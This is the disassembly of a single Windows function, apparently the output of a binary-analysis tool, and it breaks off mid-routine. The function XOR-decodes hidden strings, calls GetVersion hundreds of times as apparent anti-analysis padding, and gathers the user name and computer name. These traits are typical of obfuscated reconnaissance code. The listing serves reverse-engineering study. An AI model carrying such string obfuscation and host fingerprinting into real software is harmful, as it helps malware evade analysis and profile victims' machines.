Function at 0x411840
Capabilities:
Check os version
Encode data using xor
Get hostname
Get session user name

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x433560
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
sub esp, 0x5f0
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
movups xmm0, xmmword [0x434b20]
movups xmmword [ebp - 0xb8], xmm0
movups xmm0, xmmword [str.__._9]
movups xmmword [ebp - 0xa8], xmm0
movups xmm0, xmmword [0x434b40]
movups xmmword [ebp - 0x98], xmm0
movq xmm0, qword [0x434b50]
movq qword [ebp - 0x88], xmm0
mov al, byte [0x434b58]
mov byte [ebp - 0x80], al
xor edx, edx
mov dword [ebp - 0x2c], edx
lea edi, [edx + 5]
cmp dword [0x445534], 2
jl 0x411a13
movaps xmm4, xmmword [0x434550]
movaps xmm3, xmmword [0x435130]
movd xmm5, edi
movaps xmm6, xmmword [str.::::]
mov ecx, 0x1f
movd xmm7, ecx
movaps xmm0, xmmword [0x435110]
movaps xmmword [ebp - 0x60], xmm0
mov ecx, dword [ebp - 0x60]
movd xmm0, edx
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4346b0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0xb8]
pxor xmm1, xmm0
movd dword [ebp + edx - 0xb8], xmm1
lea eax, [edx + 4]
movd xmm0, eax
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4346b0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0xb4]
pxor xmm1, xmm0
movd dword [ebp + edx - 0xb4], xmm1
add edx, 8
cmp edx, 0x38
jl 0x411900
mov dword [ebp - 0x2c], edx
cmp edx, 0x39
jge 0x411a47
mov eax, 0x8d3dcb09
imul edx
add edx, dword [ebp - 0x2c]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x3a
mov edx, dword [ebp - 0x2c]
mov cl, dl
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0xb8], cl
inc edx
mov dword [ebp - 0x2c], edx
cmp edx, 0x39
jl 0x411a13
mov dword [ebp - 0x15c], 0
mov dword [ebp - 0x14c], 0
mov dword [ebp - 0x148], 0xf
lea ecx, [ebp - 0xb8]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411a70
sub ecx, edx
push ecx
lea eax, [ebp - 0xb8]
push eax
lea ecx, [ebp - 0x15c]
call fcn.00401820
lea eax, [ebp - 0x15c]
cmp dword [ebp - 0x148], 0x10
cmovae eax, dword [ebp - 0x15c]
push 1
push 0x40
push 1
push eax
lea ecx, [ebp - 0x5e8]
call fcn.004086d0
mov eax, dword [ebp - 0x5e8]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x5e8]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x5ec], eax
mov eax, dword [ebp - 0x5e8]
mov eax, dword [eax + 4]
mov esi, dword [ebp + eax - 0x5dc]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x5e8]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x5ec], eax
lea ecx, [ebp - 0x5d8]
call fcn.00402580
mov eax, dword [ebp - 0x5e8]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_istream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x5e8]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x18]
mov dword [ebp + ecx - 0x5ec], eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
lea eax, [ebp - 0x578]
push eax
call fcn.0041549c
add esp, 4
mov edx, dword [ebp - 0x148]
cmp edx, 0x10
jb 0x411b8c
inc edx
mov ecx, dword [ebp - 0x15c]
mov eax, ecx
cmp edx, 0x1000
jb 0x411b82
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4148da
push edx
push ecx
call fcn.00415e4d
add esp, 8
test esi, esi
jne 0x411b9a
mov dword [0], 0x2a
push 1
push str._a_z_8_
lea ecx, [ebp - 0x518]
call fcn.004088d0
push 1
push str.d6_
lea ecx, [ebp - 0x52c]
call fcn.004088d0
lea eax, [ebp - 0x2dc]
push eax
call fcn.00410310
add esp, 4
mov edx, eax
cmp dword [edx + 0x14], 0x10
jb 0x411bd7
mov edx, dword [edx]
mov ecx, edx
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411be0
sub ecx, esi
lea eax, [ecx + edx]
push 1
push 0x10
lea ecx, [ebp - 0x518]
push ecx
push 0
push eax
push edx
call fcn.00407780
add esp, 0x18
mov byte [ebp - 0x25], al
mov edx, dword [ebp - 0x2c8]
cmp edx, 0x10
jb 0x411c43
inc edx
mov ecx, dword [ebp - 0x2dc]
mov eax, ecx
cmp edx, 0x1000
jb 0x411c36
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4148df
push edx
push ecx
call fcn.00415e4d
add esp, 8
mov al, byte [ebp - 0x25]
test al, al
je 0x411c51
mov dword [0], 0x2a
lea eax, [ebp - 0x2dc]
push eax
call fcn.00410310
add esp, 4
mov edx, eax
cmp dword [edx + 0x14], 0x10
jb 0x411c6a
mov edx, dword [edx]
mov ecx, edx
lea esi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411c70
sub ecx, esi
lea eax, [ecx + edx]
push 1
push 0x10
lea ecx, [ebp - 0x52c]
push ecx
push 0
push eax
push edx
call fcn.00407780
add esp, 0x18
mov byte [ebp - 0x25], al
mov edx, dword [ebp - 0x2c8]
cmp edx, 0x10
jb 0x411cd3
inc edx
mov ecx, dword [ebp - 0x2dc]
mov eax, ecx
cmp edx, 0x1000
jb 0x411cc6
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4148e4
push edx
push ecx
call fcn.00415e4d
add esp, 8
mov al, byte [ebp - 0x25]
test al, al
je 0x411ce1
mov dword [0], 0x2a
mov esi, dword [sym.imp.KERNEL32.dll_GetVersion]
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
push 0x40
lea ecx, [ebp - 0x98]
call fcn.004017c0
movups xmm0, xmmword [str.uexrjzoshxhefvpksdnoodeaygzzzmgcrsshzsringklulrobfcnkpszq]
movups xmmword [eax], xmm0
movups xmm0, xmmword [0x434d78]
movups xmmword [eax + 0x10], xmm0
movups xmm0, xmmword [0x434d88]
movups xmmword [eax + 0x20], xmm0
movq xmm0, qword [0x434d98]
movq qword [eax + 0x30], xmm0
mov cl, byte [0x434da0]
mov byte [eax + 0x38], cl
mov byte [eax + 0x39], 0
push 0x50
lea ecx, [ebp - 0x98]
call fcn.004017c0
movups xmm0, xmmword [str.zoopoimmwwgyfchdhjubqggfxglcttjmdoptvjvvxyfgytdolchycbyhqmrootts]
movups xmmword [eax], xmm0
movups xmm0, xmmword [0x434db8]
movups xmmword [eax + 0x10], xmm0
movups xmm0, xmmword [0x434dc8]
movups xmmword [eax + 0x20], xmm0
movups xmm0, xmmword [0x434dd8]
movups xmmword [eax + 0x30], xmm0
mov byte [eax + 0x40], 0
push 0x20
lea ecx, [ebp - 0x98]
call fcn.004017c0
movups xmm0, xmmword [str.chbxkdkitnebyugurzzt]
movups xmmword [eax], xmm0
mov ecx, dword [0x434dfc]
mov dword [eax + 0x10], ecx
mov byte [eax + 0x14], 0
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
call esi
lea eax, [ebp - 0x27c]
push eax
call fcn.004099a0
add esp, 4
mov dword [ebp - 0x34], 0x41
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x4b8]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov dword [ebp - 0x15c], 0
mov dword [ebp - 0x148], 0xf
test eax, eax
je 0x412230
mov dword [ebp - 0x14c], 0
lea ecx, [ebp - 0x4b8]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x412212
sub ecx, edx
push ecx
lea eax, [ebp - 0x4b8]
push eax
lea ecx, [ebp - 0x15c]
call fcn.00401820
jmp 0x412259
mov dword [ebp - 0x14c], 3
mov ax, word [0x434af0]
mov word [ebp - 0x15c], ax
mov al, byte [0x434af2]
mov byte [ebp - 0x15a], al
mov byte [ebp - 0x159], 0
mov dword [ebp - 0x34], 0x10
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov dword [ebp - 0x358], 0
mov dword [ebp - 0x344], 0xf
test eax, eax
je 0x4122be
mov dword [ebp - 0x348], 0
lea ecx, [ebp - 0x214]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4122a0
sub ecx, edx
push ecx
lea eax, [ebp - 0x214]
push eax
lea ecx, [ebp - 0x358]
call fcn.00401820
jmp 0x4122e7
mov dword [ebp - 0x348], 3
mov ax, word [0x434af0]
mov word [ebp - 0x358], ax
mov al, byte [0x434af2]
mov byte [ebp - 0x356], al
mov byte [ebp - 0x355], 0
movq xmm0, qword [str.gJVN_Ip__B_bQ__a_]
movq qword [ebp - 0x138], xmm0
mov eax, dword [0x434b94]
mov dword [ebp - 0x130], eax
mov esi, dword [0x445534]
cmp byte [0x434b97], 0
je 0x412474
xor edx, edx
mov dword [ebp - 0x2c], edx
cmp esi, 2
jl 0x412440
movaps xmm4, xmmword [0x435130]
movd xmm5, edi
mov eax, 0x1f
movd xmm6, eax
movaps xmm2, xmmword [0x434550]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.::::]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4346b0]
packuswb xmm1, xmm1
mov eax, dword [0x435110]
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.gJVN_Ip__B_bQ__a_]
pxor xmm1, xmm0
movd dword [ebp - 0x138], xmm1
movaps xmm2, xmmword [0x434760]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.::::]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4346b0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [ebp - 0x134]
pxor xmm1, xmm0
movd dword [ebp - 0x134], xmm1
mov edx, 8
mov dword [ebp - 0x2c], edx
nop dword [eax + eax]
mov eax, 0x8d3dcb09
imul edx
add edx, dword [ebp - 0x2c]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x3a
mov edx, dword [ebp - 0x2c]
mov cl, dl
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x138], cl
inc edx
mov dword [ebp - 0x2c], edx
cmp edx, 0xc
jl 0x412440
mov dword [ebp - 0x12c], 0
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x118], 0xf
lea ecx, [ebp - 0x138]
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4124a0
sub ecx, edx
push ecx
lea eax, [ebp - 0x138]
push eax
lea ecx, [ebp - 0x12c]
call fcn.00401820
movups xmm0, xmmword [0x434b5c]
movups xmmword [ebp - 0xac], xmm0
movups xmm0, xmmword [0x434b6c]
movups xmmword [ebp - 0x9c], xmm0
movq xmm0, qword [0x434b7c]
movq qword [ebp - 0x8c], xmm0
mov eax, dword [0x434b84]
mov dword [ebp - 0x84], eax
mov al, byte [0x434b88]
mov byte [ebp - 0x80], al
xor edx, edx
mov dword [ebp - 0x2c], edx
cmp esi, 2
jl 0x412653
movaps xmm4, xmmword [0x434550]
movaps xmm3, xmmword [0x435130]
movd xmm5, edi
movaps xmm6, xmmword [str.::::]
mov eax, 0x1f
movd xmm7, eax
movaps xmm0, xmmword [0x435110]
movaps xmmword [ebp - 0x60], xmm0
mov ecx, dword [ebp - 0x60]
nop dword [eax]
movd xmm0, edx
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4346b0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0xac]
pxor xmm1, xmm0
movd dword [ebp + edx - 0xac], xmm1
lea eax, [edx + 4]
movd xmm0, eax
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4346b0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0xa8]
pxor xmm1, xmm0
movd dword [ebp + edx - 0xa8], xmm1
add edx, 8
cmp edx, 0x28
jl 0x412540
mov dword [ebp - 0x2c], edx
cmp edx, 0x2d
jge 0x412687
mov eax, 0x8d3dcb09
imul edx
add edx, dword [ebp - 0x2c]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x3a
mov edx, dword [ebp - 0x2c]
mov cl, dl
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0xac], cl
inc edx
mov dword [ebp - 0x2c], edx
cmp edx, 0x2d
jl 0x412653
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x68], 0xf
lea ecx, [ebp - 0xac]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4126a5
sub ecx, edx
push ecx
lea eax, [ebp - 0xac]
push eax
lea ecx, [ebp - 0x7c]
call fcn.00401820
mov dword [ebp - 0x34], reloc.OLEAUT32.dll_SysReAllocString
lea eax, [ebp - 0x12c]
push eax
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x600]
push eax
call fcn.00406130
add esp, 0x10
mov edx, dword [ebp - 0x68]
cmp edx, 0x10
jb 0x412717
inc edx
mov ecx, dword [ebp - 0x7c]
mov eax, ecx
cmp edx, 0x1000
jb 0x41270d
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4148e9
push edx
push ecx
call fcn.00415e4d
add esp, 8
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x68], 0xf
mov byte [ebp - 0x7c], 0
mov edx, dword [ebp - 0x118]
cmp edx, 0x10
jb 0x412763
inc edx
mov ecx, dword [ebp - 0x12c]
mov eax, ecx
cmp edx, 0x1000
jb 0x412759
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4148e9
push edx
push ecx
call fcn.00415e4d
add esp, 8
mov eax, dword [0x434bfc]
mov dword [ebp - 0xc5], eax
mov ax, word [0x434c00]
mov word [ebp - 0xc1], ax
mov al, byte [0x434c02]
mov byte [ebp - 0xbf], al
xor edx, edx
mov dword [ebp - 0x24], edx
nop dword [eax + eax]
mov eax, 0x8d3dcb09
mul edx
shr edx, 5
movsx eax, dl
imul eax, eax, 0x3a
mov edx, dword [ebp - 0x24]
mov cl, dl
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0xc5], cl
inc edx
mov dword [ebp - 0x24], edx
cmp edx, 7
jl 0x412790
mov dword [ebp - 0x264], 0
mov dword [ebp - 0x254], 0
mov dword [ebp - 0x250], 0xf
lea ecx, [ebp - 0xc5]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4127e1
sub ecx, edx
push ecx
lea eax, [ebp - 0xc5]
push eax
lea ecx, [ebp - 0x264]
call fcn.00401820
movq xmm0, qword [0x434bf0]
movq qword [ebp - 0x3d], xmm0
mov al, byte [0x434bf8]
mov byte [ebp - 0x35], al
xor edx, edx
mov dword [ebp - 0x24], edx
nop word [eax + eax]
mov eax, 0x8d3dcb09
mul edx
shr edx, 5
movsx eax, dl
imul eax, eax, 0x3a
mov edx, dword [ebp - 0x24]
mov cl, dl
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x3d], cl
inc edx
mov dword [ebp - 0x24], edx
cmp edx, 9
jl 0x412820
mov dword [ebp - 0x24c], 0
mov dword [ebp - 0x23c], 0
mov dword [ebp - 0x238], 0xf
lea ecx, [ebp - 0x3d]
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x412870
sub ecx, edx
push ecx
lea eax, [ebp - 0x3d]
push eax
lea ecx, [ebp - 0x24c]
call fcn.00401820
lea eax, [ebp - 0x264]
push eax
lea eax, [ebp - 0x24c]
push eax
lea eax, [ebp - 0x98]
push eax
call fcn.00410e20
push eax
lea eax, [ebp - 0x19c]
push eax
call fcn.0040f1a0
add esp, 0x14
mov dword [ebp - 0x54], eax
mov ecx, dword [0x434be8]
mov dword [ebp - 0xbe], ecx
mov cx, word [0x434bec]
mov word [ebp - 0xba], cx
test ch, ch
je 0x41290a
xor edx, edx
mov dword [ebp - 0x24], edx
nop dword [eax]
mov eax, 0x8d3dcb09
mul edx
shr edx, 5
movsx eax, dl
imul eax, eax, 0x3a
mov edx, dword [ebp - 0x24]
mov cl, dl
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0xbe], cl
inc edx
mov dword [ebp - 0x24], edx
cmp edx, 6
jl 0x4128e0
mov dword [ebp - 0x234], 0
mov dword [ebp - 0x224], 0
mov dword [ebp - 0x220], 0xf
lea ecx, [ebp - 0xbe]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x412931
sub ecx, edx
push ecx
lea eax, [ebp - 0xbe]
push eax
lea ecx, [ebp - 0x234]
call fcn.00401820
movq xmm0, qword [0x434bdc]
movq qword [ebp - 0x3d], xmm0
mov al, byte [0x434be4]
mov byte [ebp - 0x35], al
xor edx, edx
mov dword [ebp - 0x24], edx
nop word [eax + eax]
mov eax, 0x8d3dcb09
mul edx
shr edx, 5
movsx eax, dl
imul eax, eax, 0x3a
mov edx, dword [ebp - 0x24]
mov cl, dl
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x3d], cl
inc edx
mov dword [ebp - 0x24], edx
cmp edx, 9
jl 0x412970
mov dword [ebp - 0x144], 0
mov dword [ebp - 0x134], 0
mov dword [ebp - 0x130], 0xf
lea ecx, [ebp - 0x3d]
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4129c0
sub ecx, edx
push ecx
lea eax, [ebp - 0x3d]
push eax
lea ecx, [ebp - 0x144]
call fcn.00401820
lea eax, [ebp - 0x600]
push eax
lea eax, [ebp - 0x144]
push eax
lea eax, [ebp - 0x1cc]
push eax
call fcn.00410e20
push eax
lea eax, [ebp - 0x294]
push eax
call fcn.0040f1a0
add esp, 0x14
mov dword [ebp - 0x64], eax
mov ecx, dword [0x434bd4]
mov dword [ebp - 0x50], ecx
mov cl, byte [0x434bd8]
mov byte [ebp - 0x4c], cl
xor edx, edx
mov dword [ebp - 0x24], edx
nop dword [eax]
mov eax, 0x8d3dcb09
mul edx
shr edx, 5
movsx eax, dl
imul eax, eax, 0x3a
mov edx, dword [ebp - 0x24]
mov cl, dl
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x50], cl
inc edx
mov dword [ebp - 0x24], edx
cmp edx, 5
jl 0x412a20
mov dword [ebp - 0x1ec], 0
mov dword [ebp - 0x1dc], 0
mov dword [ebp - 0x1d8], 0xf
lea ecx, [ebp - 0x50]
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x412a70
sub ecx, edx
push ecx
lea eax, [ebp - 0x50]
push eax
lea ecx, [ebp - 0x1ec]
call fcn.00401820
movq xmm0, qword [0x434bc8]
movq qword [ebp - 0x3d], xmm0
mov al, byte [0x434bd0]
mov byte [ebp - 0x35], al
xor edx, edx
mov dword [ebp - 0x24], edx
mov eax, 0x8d3dcb09
mul edx
shr edx, 5
movsx eax, dl
imul eax, eax, 0x3a
mov edx, dword [ebp - 0x24]
mov cl, dl
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x3d], cl
inc edx
mov dword [ebp - 0x24], edx
cmp edx, 9
jl 0x412aa3
mov dword [ebp - 0x204], 0
mov dword [ebp - 0x1f4], 0
mov dword [ebp - 0x1f0], 0xf
lea ecx, [ebp - 0x3d]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x412af0
sub ecx, edx
push ecx
lea eax, [ebp - 0x3d]
push eax
lea ecx, [ebp - 0x204]
call fcn.00401820
lea eax, [ebp - 0x358]
push eax
lea eax, [ebp - 0x204]
push eax
lea eax, [ebp - 0x33c]
push eax
call fcn.00410e20
push eax
lea eax, [ebp - 0x324]
push eax
call fcn.0040f1a0
add esp, 0x14
mov dword [ebp - 0x50], eax
mov ecx, dword [0x434bc0]
mov dword [ebp - 0x34], ecx
mov cl, byte [0x434bc4]
mov byte [ebp - 0x30], cl
xor edx, edx
mov dword [ebp - 0x24], edx
nop dword [eax]
mov eax, 0x8d3dcb09
mul edx
shr edx, 5
movsx eax, dl
imul eax, eax, 0x3a
mov edx, dword [ebp - 0x24]
mov cl, dl
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x34], cl
inc edx
mov dword [ebp - 0x24], edx
cmp edx, 5
jl 0x412b50
mov dword [ebp - 0x394], 0
mov dword [ebp - 0x384], 0
mov dword [ebp - 0x380], 0xf
lea ecx, [ebp - 0x34]
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x412ba0
sub ecx, edx
push ecx
lea eax, [ebp - 0x34]
push eax
lea ecx, [ebp - 0x394]
call fcn.00401820
movq xmm0, qword [0x434bb4]
movq qword [ebp - 0x3d], xmm0
mov al, byte [0x434bbc]
mov byte [ebp - 0x35], al
xor edx, edx
mov dword [ebp - 0x24], edx
mov eax, 0x8d3dcb09
